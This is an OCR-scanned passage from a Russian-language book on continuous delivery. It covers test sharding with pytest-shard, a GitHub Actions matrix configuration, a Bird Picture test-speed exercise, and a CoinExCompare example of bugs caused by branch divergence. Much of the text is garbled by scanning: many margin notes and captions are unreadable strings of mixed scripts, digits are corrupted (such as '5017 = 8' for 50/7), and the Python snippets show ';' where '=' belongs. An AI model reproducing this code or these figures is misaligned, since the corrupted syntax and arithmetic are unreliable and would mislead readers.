Мы не будем подробно разбирать этот алгоритм 
(хотя это действительно интересный и отличный 
практический вопрос для собеседования ! ) .  Если вам 
нужен такой шардинг, возможно, вам придется соз
дать его самостоятельно, однако ваша система не
прерывной доставки (или инструменты языка про
граммирования) может сделать это за вас. Например, 
такая возможность предусмотрена в системе CircleCI 
с помощью передачи имен тестов в команду разделе
ния, которая не привязана к языку: 

circleci tests split - - split - by=timings 

В среднем :1-,6 минуW\1:11 
В среднем 3,:1- минуW\1:11 
В среднем 0, 8 минуW\1:11 
В среднем 2,0 минуW\1:11 
В среднем 0, 8 минуW\1:11 
В среднем ;..,q MIAH!:JW\f:lf 
В среднем ;..,q минуW\1:11 
В среднем 2,3 MIAH!:JW\f:lf 
В среднем :1-, 8 минуW\1:11 
В среднем :1-,6 MIAH!:JW\f:lf 
В среднем 2,0 минуW\1:11 
В среднем 2,0 минуW\1:11 
В среднем :1-,2 MIAH!:JW\f:lf 

ШapiJ 0: 7,4· MIAH!jMЬI 
test_ed it_pic  ( 2 . 3 )  
test_s ha re_instagram ( 2 . 0 )  
test_post_forum ( 1 . 8 ) 
test_report_u ser  ( 1 . 2 ) 
test_follow_dog ( 0 . 8 )  

ШapiJ :t.: 8,1. мuнум111 
test_post_pic  ( 3 . 1 ) 
test_view_leaderboard ( 1 . 9 )  
test_login ( 1 . 6 ) 
test rate pic  ( 0 . 8 )  

ШapiJ 2.: 7,S MIAH!jMЬI 
test_browse_pics  ( 2 . 0 ) 
test_sha re_twitter ( 2 . 0 ) 
test_view_logged_out : ( 1 . 9 ) 
test_ed it_forum : ( 1 . 6 ) 
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Шарди рованны й пайплайн 
Все этапы шардинга можно выполнять в рамках одной задачи пайплайна или, если 
это позволяет система непрерывной доставки, разделить задачу на несколько частей. 

Еслц в", осущесмбляеме �росмой. щардцнz месмо8 м 
цндексу , бам, 8ероямно, не мнадооцмся эмом щаz. 
Но для более сложн"'х задач, на�рцмер для рас�ределе 
нця месмо8 М 8ременц !АХ 8,,,млненця, ОН неоОходцм. 

� --1 Распределение 
тестов по шардам 

r Запуск подмножества 
� тестов по индексу 

или по имени 

Чмоо"' разоцм" эмом эма� на нескол"ко задач, / 
сцсмема не�рер,,,бной. досмабкц должна мддер 
жц8а1М" цмераццю �роцедур 8 �ай.май.нах. Еслц 
она не �редусмамрцбаем макой. 8озможносмц, 
OOЪeдtAH!AW\f ЭW\OW\ ЭW\а� 8 одну задачу. 

для каждого шарда". 

Чтобы поддерживать шардинг, набор тестов должен удовлетворять следующим 
требованиям: 

• Тесты не должны зависеть друг от друга. 

• Тесты не должны мешать друг другу. Если тесты используют общие ресурсы 
(например, все подключаются к одному и тому же экземпляру зависимости) ,  
они будут конфликтовать друг с другом (а может, и нет; самый простой способ 
узнать это - попробовать) . 

• Если вы распределяете тесты по индексам, тесты должны запускаться в опреде
ленном порядке, чтобы определенные тесты на всех шардах имели одинаковые 
индексы. 

Если параллельный запуск юнит-тестов - всего лишь запах кода, то 

распределение их по шардам - это просто кошмар! 

Как уже отмечалось, если юнит-тесты настолько медленные, что их требуется 
запускать параллельно, чтобы время их выполнения оставалось приемлемым, 
это признак того, что с ними что-то не так (возможно, они делают слишком 
много) .  Если они настолько медленные, что вам требуется шардинг, то с ве
роятностью 99,99999% это не юнит-тесты, и не помешает добавить их в код 
вместо замаскированных интеграционных/системных тестов. (Предлагаю 
впредь называть действительно плохой код вонючим кодом. ) 
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Ша рдинг браузерных тестов 
Шридхар собирается решить проблему медленных браузерных тестов путем при
менения шардинга! Вот основная цель, к которой он стремится: 

Весь набор тестов должен выполняться в среднем за 30 минут или менее. 

Интеграционные и юнит-тесты занимают в среднем 5 минут, поэтому ему нужно 
добиться, чтобы браузерные тесты выполнялись примерно за 25 минут. 

На один тест в среднем уходит 2,5 минуты, а всего их 50. Время выполнения 
каждого теста практически одинаковое, поэтому Шридхар решает пойти простым 
путем и использовать шардинг по индексам. Сколько же шардов ему понадобится? 

@]@]@]@]@]@]@]@]@]@]@]@]§] @]@]@]@]@]@]@]@]@]@]@]@]§] @]@]@]@]@]@]@]@]@]@]@]@] @]@]@]@]@]@]@]@]@]@]@]@] 
Поскольку цель - завершить все тесты за 25 минут, значит, на каждом шарде тесты 
могут выполняться до 25 минут. Сколько браузерных тестов можно выполнить за 
25 минут? 

Если каждый из них занимает в среднем 2,5 минуты, то 25 минут / 2,5 мину-
ты = 1 О. За 25 минут на одном шар де можно выполнить 1 О тестов. 

@]@]@] @]@]@] @]@] @]@] 
Если всего тестов 50 и на каждом шарде можно выполнить 10 тестов за 25 минут, 
то ему нужно 50 / 1 О = 5 шардов. 

@]@]@] @]@]@] @]@]@] [il]@]@] @]@]@] @]@]@] @]@]@] @]@]@] @]@]@] @]@]@] @]@] @]@] @]@] @]@] @]@] @]@] @]@] @]@] @]@] @]@] 
Пяти шардов будет достаточно для достижения цели, но Шридхар знает, что в ком
пании нет проблем с оборудованием, поэтому он щедро выделяет на браузерные 
тесты целых 7 шардов. - - - - -

§§ §§ §§ §§ §§ §§ §§ 
§§ §§ §§ §§ §§ §§ §§ 
§§ §§ §§ §§ §§ §§ §§ 
§§ §§ §§ §§ §§ §§ §§ 

При использовании 7 шардов каждый из них должен будет выполнить 50/7 тестов; 
наибольшее количество тестов будет - 5017 = 8 тестов. Восемь тестов, при средней 
продолжительности каждого 2,5 минуты, будут выполнены за 20 минут. Это позволит 
Шридхару немного превзойти целевое значение в 25 минут, и разработчики смогут сво
боднее добавлять новые тесты, прежде чем потребуется увеличить количество шардов. Книги для программистов: https://t.me/booksforits
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Ша рдинг в па йплайне 
Для браузерных тестов будет работать простой шардинг на основе индексов, по
этому Шридхару остается только добавить параллельно выполняемые задачи, по 
одной для каждого шарда, и заставить их использовать pytest-shard для запуска под
множества браузерных тестов. Его распараллеленные задачи для браузерных тестов 
будут запускать следующий скрипт на Python, используя Python для вызова pytest: 

# когда пайплайн  будет запуще н ,  он передаст этому с крипту 
# и ндекс шарда и общее количество шардов 
# в качестве ар гументов 
shard_index, num_shard s ,  path_to_tests = get_arguments ( )  

# мы будем инициировать pytest в качестве команды дл я  запуска  
# соответствующего набора тестов для данного шарда 
run_command { 

" pytest - - shard - id={ } - - num- shards= { }  { } " . format ( 

shard_index, num_shards , path_to_tests 

) )  

Запуск pytest-shard 
для шарда 

с индексом О r Запуск pytest-shard 
для шарда 

с индексом 1 

Запуск pytest-shard 
для шарда 

с индексом 2 

Запуск pytest-shard 
для шарда 

с индексом З 

Запуск pytest-shard 
для шарда 

с индексом 4 r Запуск pytest-shard 
для шарда 

с индексом 5 

Запуск pytest-shard 
для шарда 

с индексом 6 

Чтобы включить этот скрипт в пайплайн, Шридхару необходимо 
только добавить набор задач, которые выполняются параллельно, -
в его случае семь, по одной для каждого из семи шардов. Нужно ли 
ему для этого жестко прописывать семь отдельных задач в пайплай
не? Это зависит от особенностей системы непрерывной доставки. 
Большинство систем предоставляют возможность распараллелить 
задачи. Для этого вам потребуется указать, сколько экземпляров за
дачи вы собираетесь запустить, а затем система передаст в качестве 
аргументов (часто переменных среды) информацию запущенным 
задачам о том, сколько всего экземпляров запущено и в каком они 
экземпляре. Например, в GitHub Actions, чтобы запускать одно и то 
же задание несколько раз, можно использовать стратегию матрицы: 

Для ОООЗНачениЯ MOZO, ЧМО в ЭМОU книzе называемся 
«задачами» (tasks), в ЦitНиЬ Actio111s ис/1\Олозуемся 

jobs : ..----- мермин «задания» (jobs). 
tests : 

st rategy : 
fai l - fast : 

Эмо необходимо, чмооо1 zаранмиро 

f 1 � вамо, чмо если на одном щарде 111ро -
а se 

изойдем османовка, мо осмалоные все 
matrix : 

total_shard s : [ 7 )  
равно заверщам раоому. 

sha rd_iпdexes : [ 0 ,  1, 2, З ,  4, 5 ,  6 )  

При такой конфигурации задание t e s t s  будет запущено семь 
раз, а шагам в каждом задании можно передать информацию об 
общем количестве шардов и о том, в качестве какого шарда они 
выполняются, в следующих контекстных переменных: 

$ { {  matrix . total_shards  } }  
� $ { {  mat rix . s hard_iпdexes } }  

/ Эми имена 111еременно1х для мatrix 111роизволонt>1; 111одроонее 
см. jobs.<job_id>.strategy.мatrix на ЦitНиЬ Actio/l\S. 

Книги для программистов: https://t.me/booksforits
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Пайплай ны са йта Dog Picture 
Шридхар достиг своей цели - выполнять браузерные тесты за 25 минут (по факту 
за 20 минут), теперь он может объединить все тесты вместе, и весь набор будет вы
полняться в среднем за 30 минут или даже меньшее время. Это значит, что он может 
перейти к последней задаче: 

Запускать тесты при каждом изменении до того, как оно будет отправлено. 

Шридхар добавляет браузерные тесты в пайплайн перед слиянием и делает так, 
чтобы они запускались параллельно с интеграционными тестами. Теперь пайплайн 
может запускать все тесты до слияния, и продолжительность их выполнения будет 
равна длительности шардированных браузерных тестов (20 минут) плюс время на 
выполнение юнит-тестов (менее 1 минуты) .  

Сно.чо.ло. 3о.V>уско.юw. 
ся юни w. -w.ecw.t>1; 
если они не V>poxo -
дяw., более дли -
w.елt>ные w.ecw.ы 
не 30.V>YCKO.fOW.CЯ. 

Выполнение 
юнит-тепов 

( Выполнение 
интеграционных 

?J тестов 

� -------( Запуск pytest-shaгd 1 Измерение покрытия для шарда с опреде-

кода юнит-тестами - ленным индексом 

оно не ДОЛЖНО 
уменьшаться 

И нw.еzро.ционнt>1е w.ecw.t>1 
/ 30.HиMO.fOW. ОКОЛО 

/J 5 Минуw. и бt>/1'\ОЛНЯfОW.СЯ 
V>о.ро.ллелt>но с що.рдиро -
60.ННЫМи Оро.у3ернt>/Ми 
w.есw.о.ми. 

Но. бсех 7 що.рдо.х 
оро.у3ернt>1е w.ecw.ы 
бt>/V\ОЛНЯfОW.СЯ 
V>римерно 
30. 20 минуw.. 

Шридхар аналогично обновляет пайплайн ночного релиза, чтобы он также зарабо
тал быстрее: 

Выполнение 
интеграционных 

тестов Выполнен ие 
юнит-тестов ?J ------

� Создание образов 
фронтенда 1 Измерение покрытия 

кода юнит-тестами -
оно не должно 
уменьшаться 

' �- ВАЖНО 'У ' 

и бэкенда 
Запуск pytest-shard 

для каждого шарда от О до 6 

Загрузка образа 
� и обновление базы 

данных 

Параллельный запуск тестов увеличит нагрузку на оборудование, но сэкономит 
бесценный ресурс: время! Если тесты выполняются медленно, сначала оптими
зируйте распределение тестов, работая с юнит-тестами; затем при необходимо
сти можно воспользоваться распараллеливанием и шардингом. 

Книги для программистов: https://t.me/booksforits
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� Пища для ума 
Чтобы выполнить 50 тестов за 25 минут и меньше, Шридхару нужно 5 шардов, 
но он добавляет еще 2, чтобы получить в общей сложности 7, и тем самым 
ускоряет время выполнения тестов и обеспечивает резерв для будущих те
стов. Но что, если количество тестов продолжает расти - означает ли это, 
что придется добавлять все больше и больше шардов? И сработает ли это? 

Коrда количество тестов браузера увеличится с 50 до 70, на каждом из 
7 шардов будет выполняться по 10 тестов, а общее время выполнения со
ставит 25 минут. 

[}11.s � 2.5 [}1 2.s [}) 2.5 

[}][}] 
[}]� [}][}] [}][}] 

Если добавить еще несколько тестов, то время выполнения браузерных тестов 
превысит 25 минут и потребуется добавить еще несколько шардов. Означает 
ли это, что придется продолжать добавлять шарды до бесконечности? Не ока
жется ли их в итоrе слишком мноrо? 

Такое вполне может произойти; вы, наверное, помните, что архитектура 
сайта Dog Picture довольно монолитна: 

Если функционаn сайта Dog Picture продоnжит расти, то компании 
придетси разделить функции бэкенд-сервиса на отдельные сnужбы, 
и каждаи из них будет иметь собственные наборы тестов. 

Это означает, что когда что-то нужно будет изменить, раз
работчики смоrут запускать только те тесты, которые свя
заны с этим изменением, а не абсолютно все .  Подобное 
разделение функций, вероятно, потребуется и для того, 
чтобы соответствовать динамике роста компании (по мере 
увеличения числа сотрудников их необходимо будет раз
делить на эффективные команды с отдельными сферами 
ответственности) .  

Информация к размышлению: перенесемся в будущее, 
когда сайт Dog Picture будет состоять из множества серви
сов, каждый со своим набором сквозных тестов. Достаточно 
ли запускать каждый набор в отдельности, чтобы проверить 
работоспособность всей системы? Нужно ли в этих целях 
проводить все тесты вместе перед релизом? Все зависит от 
конкретной ситуации; но помните, что ни в чем нельзя быть 
уверенным на сто процентов. Главное - найти компромисс
ные решения, которые подойдут для вашеrо проекта. 

Книги для программистов: https://t.me/booksforits
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@ Ваш ход: как ускорить тесты 
У сайтов Dog Picture и Cat Picture есть общий конкурент: набирающий обо
роты сайт Bird Picture. Он столкнулся с аналогичной проблемой медленных 
тестов, но немного в другой ситуации. 

Весь набор тестов команда Bird Picture выполняет примерно за 3 часа, но 
в отличие от команды Dog Picture, она выполняет его для каждого PR. Когда 
разработчики готовы внести изменения, они создают PR, а затем оставляют 
его открытым, часто до следующего дня, дожидаясь выполнения всех тестов. 
Такой подход позволяет выявить проблемы до слияния, но на внесение из
менений часто уходят дни (иногда это называют борьбой с тестами) . 

Набор тестов для сайта Bird Picture распределяется следующим образом: 

• 10 % юнит-тестов; 

• О % интеграционных тестов; 

• 90 % сквозных тестов. 

Юнит-тесты 

Покрытие кода юнит-тестами составляет 34 %, и на их выполнение уходит 
20 минут. Что необходимо сделать команде Bird Picture, чтобы ускорить 
тесты? 
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При анализе тестов сайта Bird Picture сразу бросаются в глаза несколько мо
ментов: 

• Так называемые юнит-тесты довольно медленные для такого рода тестов; 
в идеале они должны выполняться максимум за пару минут, если не за 
секунды. Скорее всего, это интеграционные тесты. 

• Покрытие юнит-тестами (или,  возможно, интеграционными тестами)  
довольно низкое. 

• Сквозных тестов по сравнению с юнит-тестами слишком много; может 
быть, тестов просто самих по себе мало, но есть и вероятность, что коман
да Bird Picture слишком увлеклась сквозными тестами. 

Исходя из этого, команда Bird Picture может сделать следующее: 

• Разобраться с медленными юнит-тестами; если какие-то из них действи
тельно представляют собой модульные тесты (то есть выполняются за 
несколько секунд или менее) ,  запускать их отдельно от друrих медленных 
тестов (которые на самом деле являются интеграционными) и в первую 
очередь, чтобы получать от них быстрый сигнал. 

• Измерить покрытие кода быстрыми юнит-тестами; оно будет еще ниже, 
чем и без того низкое покрытие в 34 %.  Сопоставить непокрытые области 
с огромным набором сквозных тестов и определить, какие сквозные тесты 
можно заменить юнит-тестами. 

• Ввести задачу измерения и отчета о покрытии юнит-тестами при каж
дом PR и не производить слияние для PR, которые уменьшают покрытие 
юнит-тестами. 

• После этого вернуться к распределению тестов и решить, что делать даль
ше. Скорее всего, многие сквозные тесты можно преобразовать в интегра
ционные; вполне вероятно, что для желаемого результата будет достаточно 
запуска не всей системы, а лишь пары ее компонентов; вдобавок наверняка 
это будет быстрее. 
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Закл ючение 
С о  временем н а  выполнение набора тестов для сайта Dog Picture уходило все больше 
и больше времени.  И вместо того, чтобы искать способы ускорить тестирование, 
разработчики просто перестали заниматься тестами, по сути, откладывая решение 
проблемы в долгий ящик. Хотя вначале это и помогло им ускорить работу, затем это 
стало сильно ее тормозить. Шридхар понимал, что единственный выход - проана
лизировать набор тестов и максимально оптимизировать его. А когда возможности 
оптимизации оказались исчерпаны, он применил распараллеливание и шардинг. Эти 
инструменты помогли ускорить тестирование достаточно, чтобы вновь проводить 
его перед слиянием, и разработчики смогли быстрее получать обратную связь. 

Итоги 
• При работе с медленным набором тестов добиться эффекта в короткие сроки 

помогает независимый запуск в первую очередь самых быстрых тестов. 

• Прежде чем пытаться сокращать время выполнения медленных тестов с помо
щью различных технологий, сначала критически оцените сами тесты. Использо
вание пирамиды тестов поможет выделить главное, а контроль покрытия кода 
тестами - обеспечить надежную базу юнит-тестов. 

• Тесты могут быть очень надежными, но чересчур медленными. В этом случае 
для ускорения тестирования можно использовать распараллеливание и шардинг, 
задействовав больше ресурсов оборудования, но получив выигрыш во времени.  

Далее . . .  
В следующей главе мы продолжим тему своевременного получения сигналов и рас
смотрим, на каком этапе могут появляться баги. Вы узнаете, какие процессы необ
ходимы, чтобы как можно раньше получать сигналы о том, что что-то пошло не так. 
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Нужные си гнал ы 
в нужное время 

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  ' 

В этой гла ве 

.,,, Точки жизненного цикла изменений, в которых могут 

возникнуть баги 

.,,, Как  гарантировать, что конфликт изменений не приве

дет к появлению багов 

.,,, Плюсы и минусы методов устранения конфликтов 

.,,, Как  выявлять баги на всех этапах жизненного цикла 

изменения с помощью непрерывной интеграции, про

водимой до и после слияния, а также периодически 

7 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

В предыдущих главах подробно рассматривались пайплайны непрерывной интегра
ции (CI) ,  работающие на разных этапах жизненного цикла изменений. Например, 
если пайплайны запускаются после внесения изменений, необходимо соблюдать 
важное правило: прекратить слияние, если происходит сбой пайплайна. Также мы 
рассмотрели случаи, когда линтинг и тесты запускаются до слияния изменений, -
это оптимальный вариант, позволяющий избежать поломок кода. 

В этой главе мы разберем жизненный цикл изменений. Вы узнаете, где вообще 
могут появиться баги, а также когда запускать пайплайн, чтобы получать сигналы 
о багах и исправлять их как можно быстрее. 
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Веб-сайт CoinExCompa re 
CoinExCompare - сайт, на котором публикуются курсы обмена цифровых валют. 
Пользователи могут зайти на сайт и сравнить курсы обмена, например, таких валют, 
как CatCoin и DogCoin. 

0.32 

0.31. 

- �  0.30 
с � o.2q 
� 0.28  

23.1..1. 24.1..1. 25.1..1. 2�.1..1. 2 7.1..1. 28 .1..1. 

Компания быстро развивалась, но в последнее время у нее участились баги и сбои 
в работе. Разработчики недоумевают, потому что они внимательно изучили пайп
лайны и считают, что обеспечили качественное покрытие кода тестами. 

ЮниWl -W\tcW\tJI, 
1<0W1opt71e за.-.уска -
ЮW\СЯ .-.ербt7tМи,  1 забершаюW1ся менее 
чем за 30 секунд. 

Покрt71W1ие юниWI -
W\tcWlaMи COCWlaб
ЛЯtW\ > 80 %, 
и разраООW\Чики 
следяWI, ЧWIOOtJt оно 
не уменtJшалосtJ. 

Запуск линтинrа 

Выполнение 
юнит-тестов 

Измерение 
покрытия 

юнит-тестами 

Пирамида WltcWloб хорошо сбалан 
сиробана: 8 % cиcW1eMнt7tX WltcWloб, 

� 1.0 % инW1еzрационнt71х WltcWloб, 
а OCW\aЛtJHOe - IOHиWl-W\tcW\tJI. 

� 1 Выполнение Выполнение 

и нтеграционных q системных 

тестов тестов 

Ь1 BectJ .-.аймайн заберщаеW1 
рабоW1у .-.римерно за 20 минуW1. 

Пайплайн CI отличный, и что вообще может пойти не так? 
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Жизненный цикл изменения 
Чтобы понять, где в работе сайта CoinExCompare могут возникнуть баги, разработ
чики составляют схему жизненного цикла изменений. Они используют магистраль
ную разработку (Trunk-Based Development) с ветками и пул-реквестами, имеющими 
непродолжительное время жизни (подробнее об этом в главе 8) :  

Время 

BeW\Ka Главная веW\Ка 

К.oMMIAW\ 
с цзмененцем -------... 

Созданце 
V1.ул -реквесW\а 

К.oMMIAW\ 
/АЗ  вeW\KIA 

СЛIАЛСЯ 
с главноi:i 

вeW\KOi:i 

К.oMMIAW\1'1 вноСЯW\СЯ в основную 
веW\КУ через V1.ул -реквесW\1'1 (PR). 
(Подробнее о PR см. в главе 3.) 
С/ вDIV\ОЛНЯеW\СЯ для ЭW\IAX PR, 
ц меле ycV1.eumoгo V\рохожденця 
С/ веW\Ка 1А ее KOMMIAW\1'1 оудуW\ 
CЛIAW\1'1 в главную веW\Ку. 

Жизненный цикл изменения в самом коммите с течением времени выглядит сле
дующим образом: 

().Ьо""''О' r\1).1.o\().f\O � е,\'\IАе,,.Л 
\'\().О "'3,.лel'i 

Работа над изменением локально; 
повторное обновление изменения. 

Точка, в кoW\opoi:i cei:iчac 
ЗаV\ускаеW\СЯ С/ 
cai:iW\a CoiV1.ExCoW1pare. 

Создание коммита с изменением. / 
Открытие PR с коммитом. 

ЧаСW\О ЗаV\уск С/ 
начцнаЮW\ цменно с ЭW\Oi:i 
W\OЧKIA - сразу меле 

Слияние коммита с главной веткой 
удаленного репозитория. 

Сборка артефакта продакшена 
с этим коммитом. 

� Словарик 

....._____ СЛIАЯНIАЯ IАЗМененцi:i, 
MW\OMy ЧW\О ОW\СЮда 
легко начаW\1' V1.роцесс. 

Термин <<nродакшен» (production) используется для обозначения среды, в которой про

граммный продукт становится доступным для пользователей. Если вы запускаете сервис, 
то конечная точка (точки) ,  доступная вашим клиентам, может называться продакшен. 

Артефакты, такие как образы и двоичные файлы, которые работают в этой среде (или рас

сылаются непосредственно пользователям),  могут называться рабочими артефактами или 
артефактами продакшена (например, рабочими образами). Этим термином обозначаются 
среды, отличные от временных сред (например, промежуточной среды - предпродакшен, 

или стейджа - stage) ,  либо артефакты, отличные от тех, которые могут использоваться 
для проверки или тестирования, но никогда напрямую не передаются пользователям. 
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П роводите непрерывную интеграцию 
тол ько перед слиянием 
Если у вас полностью отсутствует автоматизация, проще всего запустить CI  сразу 
после слияния изменений. 

Пример вы видели в главе 2, когда Тофер настроил автоматизацию веб-хуков для 
сайта Cat Picture так, чтобы тесты запускались при каждом внесении изменений. Это 
быстро привело к тому, что команда усвоила важное правило: 

Не отправлять изменения, когда произошел сбой пайплайна. 

Это по-прежнему отличный вариант старта 
и самый простой способ подключить автома
тизацию, особенно если вы используете ПО 
для контроля версий, которое не содержит до
полнительных функций автоматизации, и вам 
нужно создавать их самостоятельно (как это 
делал Тофер в главе 2). Однако у него есть и не-
достатки: 

• О проблемах станет известно только после 
того, как они уже будут в коде. Поэтому код 
может оказаться в состоянии, небезопас-
ном для выпуска релиза, а одно из условий 

Действительно ли проще все
го начать с запуска CI после 
слияния изменений, зависит 
от того, какие инструменты 
вы уже используете. Некото
рые из них, например GitHub, 
позволяют очень легко 
организовать CI на основе PR 
и, как вы увидите в этой гла
ве, получать сигналы раньше. 

непрерывной доставки (CD) - возможность вносить изменения в программный 
продукт безопасно и в любое время. Если код будет регулярно ломаться, это ус
ловие выполняться не будет. 

• Требование остановить внесение изменений при сбое CI тормозит всех раз
работчиков, что в лучшем случае создает дискомфорт, а в худшем - приводит 
к убыткам. 

Именно в таком положении оказалась команда CoinExCompare около шести месяцев 
назад. Но компания решила вложиться в автоматизацию, которая позволила бы за
пускать CI перед слиянием, чтобы разработчики могли предотвратить поломки кода. 
Это позволило нивелировать оба недостатка запуска CI после слияния изменений: 

• Вместо того чтобы узнавать об ошибках после того, как они уже появились 
в коде, можно вообще предотвратить их добавление. 

• Можно избежать остановки всего процесса при внесении некорректного измене
ния и поручить автору изменения разобраться с проблемой. После исправления 
автор сможет произвести слияние изменений. 

Именно так сейчас работает сайт CoinExCompare: члены команды запускают CI 
перед слиянием изменений и не производят слияние, пока CI не пройдет. 
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Последовательность поя вления ба гов 
п ри внесении изменений 
Процесс разработки CoinExCompare подразумевает прохождение CI перед слиянием 
изменений, но баги в рабочей версии никуда не делись. Как такое может быть? Чтобы 
понять это, рассмотрим, в каких местах могут появиться баrи в процессе внесения из
менений, то есть в местах, в которых необходим сигнал о том, что что-то идет не так: 

Работа над изменением 
локально; повторное 
обновление изменения. 

• 

• 

Ошибки - ошибки будут возникать по мере создания 
изменений. Часть из них будет устранена в процессе 
работы, а часть - нет. 

Флейки - в процессе работы также может возник
нуть недетерминированное поведение, которое будет 
проявляться в виде флейков (подробнее о флейках 
см. в главе 5) .  

• Расхождения - в процессе работы в главную ветку 
могут быть внесены дополнительные неучтенные 

Создание коммита 
с изменением. 

Открытие PR с коммитом. • 

'-- · 
(Точка, в кoW1opoiA сеiАчас 
Заl'\ускаЮW\СЯ W\UW\tJ/ 
caiAWla Coil'\EXC0W1pare.) • 

изменения. 

Расхождения - изменения в главной ветке продол
жают накапливаться . 

Ошибки - если запустить С! на этом этапе, будут вы
явлены все ошибки, которые покрываются набором 
тестов. Пока перед слиянием будет требоваться С!,  
ошибки будут успешно исправляться. 

Флейки - они могут быть обнаружены, а могут быть 
и нет. Это зависит от того, выявила ли автоматизация 
недетерминированное поведение и принял ли автор 
в связи с этим какие-то меры. 

• Расхождения - со временем количество расхождений 
с главной веткой будет расти. 

Слияние коммита • 
с главной веткой '--- ._. 
удаленного репозитория. 

(ЕСЛIА paзpaOOWIЧLAKIA наЧLАНаЮW\ 
блокцробаW1tJ Зal'\poctJt PR в CI, 
на данном ЭWlal'\e онц обtJtчно 
мpecW1aIOW1 Зal'\yCKaWltJ CI.) 

Сборка рабочего артефакта 

• 

с этим коммитом. '--- ... 
• 

Интеграция расхождений - это момент, когда из
менения снова интегрируются в главную ветку. По
скольку в главной ветке могут быть изменения, ко
торые еще не интегрированы с новым изменением, 
могут возникнуть новые ошибки. 

Зависимости - во время сборки рабочих артефак
тов могут быть подтянуты зависимости с дополни
тельными изменениями, которых не было во время 
работы С!, что, в свою очередь, может привести к по
явлению новых ошибок. 

Недетерминированная сборка - любые другие фак
торы, из-за которых в процессе сборки создаются 
разные рабочие артефакты, могут привести к появ
лению новых багов. 
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CI, п роводимая тол ько перед слиянием, 
пропускает ошибки 
Пока что система сайта CoinExCompare блокирует процесс слияния PR на этапе 
прохождения CI, но сейчас CI запускается всего один раз. А как выясняется, баги 
могут закрасться еще в нескольких местах после ее прохождения: 

• Расхождение с главной веткой - если CI запускается только перед тем, как из
менение интегрируется обратно в главную ветку, в главной ветке могут оказаться 
изменения, которые новое изменение не учитывает и для проверки которых CI 
вообще никогда не выполнялась. 

• Изменения в зависимостях - для работы большинства артефактов требуются 
пакеты и библиотеки, отсутствующие в их коде. При сборке рабочих артефактов 
будет задействована одна из версий этих зависимостей. Если это будет версия, 
отличная от той, с которой выполнялась CI, могут появиться новые баги. 

• Недетерминированность - проявляется как в виде пропущенных флейков, так 
и в виде неочевидных различий между очередной сборкой артефакта и его по
следующими сборками, что может привести к появлению багов. 

Если взглянуть на временную шкалу внесения изменений, то можно увидеть, что 
эти три источника баrов могут появиться даже после того, как CI на основе PR будет 
успешно пройдена: 

Слияние коммита с главной 
веткой удаленного репозитория. 

• Интеграция расхождений - это момент, когда 
изменения снова интегрируются в главную вет
ку. Поскольку в главной ветке могут быть изме
нения, которые еще не интегрированы с новым 
изменением, могут возникнуть новые ошибки. 

(Если ро.зро.боw..чики 
но.чино.юw.. блокиробо.w..ь 
Vt1:JЛ -рекбесw..ы в С/, но. 
данном эw..о.м они обычно 
V\tptCWIO.IOWI 30.V\1:jCKO.Wlb С/). 

Сборка рабочего артефакта 

Т С ЭТИМ КОММИТОМ. 

Правильные сигналы 

• Зависимости - во время сборки рабочих ар
тефактов могут быть подтянуты зависимости 
с дополнительными изменениями, которых не 

..........__ + было во время работы CI, что, в свою очередь, 
может привести к появлению новых ошибок. 

• Недетерминированная сборка - любые другие 
факторы, из-за которых в процессе сборки соз
даются различные рабочие артефакты, могут 
привести к появлению новых багов. 

Для каждой точки, где могут возникнуть баги, желательно настроить пайплайн 
CI таким образом, чтобы получать сигнал как можно раньше - в идеале непо
средственно перед возникновением проблемы. Если вы получите сигнал о том, 
что что-то пошло не так или вот-вот пойдет не так, вы сможете оперативно вме
шаться и исправить ошибку. Подробнее о сигналах читайте в главе 5. 
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История двух графиков: установка значения 
по умолчанию «семь дней» 
Посмотрим, как CoinExCompare работает с каждым из этих источников баrов. Недавно 
команда столкнулась с технологической ошибкой, которая была вызвана первым из них: 

Расхождение с rnавной веткой 

Ния работает над функцией 
построения графика динами
ки курса за последние 7 дней 
для конкретной монеты. На
пример,  если пользователь 
перейдет на целевую страни
цу DogCoin, он увидит подоб
ный график, показывающий 
курс закрытия для монеты 
в долларах США в каждый 
из последних 7 дней. 

10.20 

23.11 24.11 25.11 21&.11 2 7.11 2 8 .11 

В процессе работы над этой функциональностью Ния обнаруживает функцию, 
которая уже существует и, похоже, может заметно облегчить ее работу. Функция 
get_daily_rates возвращает пиковые ежедневные значения курса для определенной 
монеты (к доллару США) за некоторый промежуток времени. По умолчанию функ
ция возвращает данные за все время, на что указывает соответствующее значение 
параметра, равное 0 (то есть переменной МАХ) :  
Мд)(;0 

def get_daily_rates ( coin ,  num_days;МAX ) :  
rate_hub  ; get_rate_h u b ( coi n )  
rates ; rate_hub . get_rates ( n um_days ) 
ret u rn rates 

Просматривая код, Ния с удивлением обнаруживает, что ни одна вызывающая данную 
функцию процедура не использует по умолчанию значение параметра num_days,  рав
ное МАХ. Поскольку ей приходится вызывать эту функцию несколько раз, она решает, 
что логично установить значение по умолчанию, равное 7 дням, и это обеспечит ей 
требуемую функциональность, поэтому она меняет функцию так, чтобы значение по 
умолчанию равнялось 7 дням, а не МАХ, и добавляет для проверки юнит-тест: 

def get_daily_rates ( coin ,  num_days;7 ) :  

rate_hub ; get_rate_h u b ( coin ) 
rates ; rate_hub . get_rates ( n um_days ) 
return  rates 

def test_get_daily_rates_default ( self ) : 
rates ; get_daily_rates ( " catcoin " )  
self . a s sertEqua l ( rat e s ,  [ 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 ] ) 

Все тесты, включая новый, проходят, так что она спокойно создает PR для изменения. 
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История двух графиков: установка значения 
по умолчани ю «30 дней» 
Но Ния не  подозревает, что кто-то еще вносит изменения в тот же  код! Е е  коллега по 
CoinExCompare Цзыхао работает над графиком для другой страницы. Его функция 
должна отображать данные за последние 30 дней для конкретной монеты. 

К сожалению, ни Ния, ни Цзыхао не понимают, что над похожим алгоритмом 
работает не один человек! А великие умы думают одинаково: Цзыхао замечает ту же 
функцию, что и Ния, и надеется, что она поможет ему добиться нужного результата: 

МАХ=0 

def get_d a i ly_rates ( co i n ,  num_days=МAX ) : 

rate_h u b  = get_rate_h u b ( co i n ) 

rates = rate_h u b . get_rates ( n um_days ) 

ret u r n  rates 

Цзыхао проводит тот же анализ, что и Ния, и заме
чает, что никто не использует эту функцию с аргу
ментами по умолчанию. Поскольку ему приходится 

Вы только что видели, 
как Ния изменила эту 
функцию, но она еще не 
осуществила слияние 
изменений, поэтому 
Цзыхао о них не знает. 

